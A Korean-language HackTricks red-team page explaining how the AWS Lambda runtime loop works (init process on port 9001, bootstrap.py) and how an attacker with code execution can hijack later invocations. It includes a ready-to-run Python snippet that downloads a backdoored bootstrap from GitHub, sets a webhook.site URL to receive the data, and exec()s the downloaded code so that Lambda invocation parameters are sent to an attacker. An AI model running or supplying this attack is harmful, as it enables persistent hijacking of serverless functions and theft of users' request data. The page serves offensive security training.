AWS - Steal Lambda Requests

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

람다 플로우

  1. Slicer는 컨테이너 외부의 프로세스로, init 프로세스에 호출을 보냅니다.

  2. init 프로세스는 일부 흥미로운 엔드포인트를 노출하는 포트 9001에서 수신 대기합니다:

  • /2018-06-01/runtime/invocation/next – 다음 호출 이벤트를 가져옵니다.

  • /2018-06-01/runtime/invocation/{invoke-id}/response – 호출에 대한 핸들러 응답 반환

  • /2018-06-01/runtime/invocation/{invoke-id}/error – 실행 오류 반환

  1. bootstrap.py는 init 프로세스에서 호출을 받아 사용자 코드를 처리하기 위해 루프를 실행합니다 (/next).

  2. 마지막으로, bootstrap.py는 응답을 init에게 보냅니다.

사용자 코드를 모듈로로드하는 부트스트랩은 사용자 코드에 의해 수행된 모든 코드 실행이 실제로 이 프로세스에서 발생하고 있음을 유의하십시오.

람다 요청 도용

이 공격의 목표는 사용자 코드가 취약한 요청을 처리하는 bootstrap.py 프로세스 내에서 악성 bootstrap.py 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 악성 부트스트랩 프로세스가 요청을 처리하기 위해 init 프로세스와 대화를 시작하면서 합법적인 부트스트랩이 악성 부트스트랩을 실행하고 있어 init 프로세스에 요청을 요청하지 않을 것입니다.

사용자 코드가 합법적인 bootstrap.py 프로세스에 의해 실행되고 있기 때문에 이 작업을 달성하는 것은 간단합니다. 따라서 공격자는 다음을 수행할 수 있습니다:

  • 현재 호출의 가짜 결과를 init 프로세스에 보내어 init이 부트스트랩 프로세스가 더 많은 호출을 기다리고 있다고 생각하도록합니다.

  • 요청은 **/${invoke-id}/response**로 보내야 합니다.

  • invoke-id는 합법적인 bootstrap.py 프로세스의 스택에서 inspect 파이썬 모듈을 사용하여 얻을 수 있습니다 (여기에서 제안된대로) 또는 **/2018-06-01/runtime/invocation/next**로 다시 요청하여 얻을 수 있습니다 (여기에서 제안된대로).

  • 다음 호출을 처리할 악성 **boostrap.py**를 실행합니다.

  • 은밀성을 위해 람다 호출 매개변수를 공격자가 제어하는 C2로 보내고 그런 다음 요청을 처리할 수 있습니다.

  • 이 공격에는 시스템 또는 github에서 **bootstrap.py**의 원본 코드를 가져와서 악성 코드를 추가하고 현재 람다 호출에서 실행하는 것이 충분합니다.

공격 단계

  1. RCE 취약점을 찾습니다.

  2. 악의적인 부트스트랩을 실행합니다.

이 작업을 쉽게 수행할 수 있습니다.

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

더 많은 정보는 https://github.com/carlospolop/lambda_bootstrap_switcher에서 확인하세요.

참고 자료

最終更新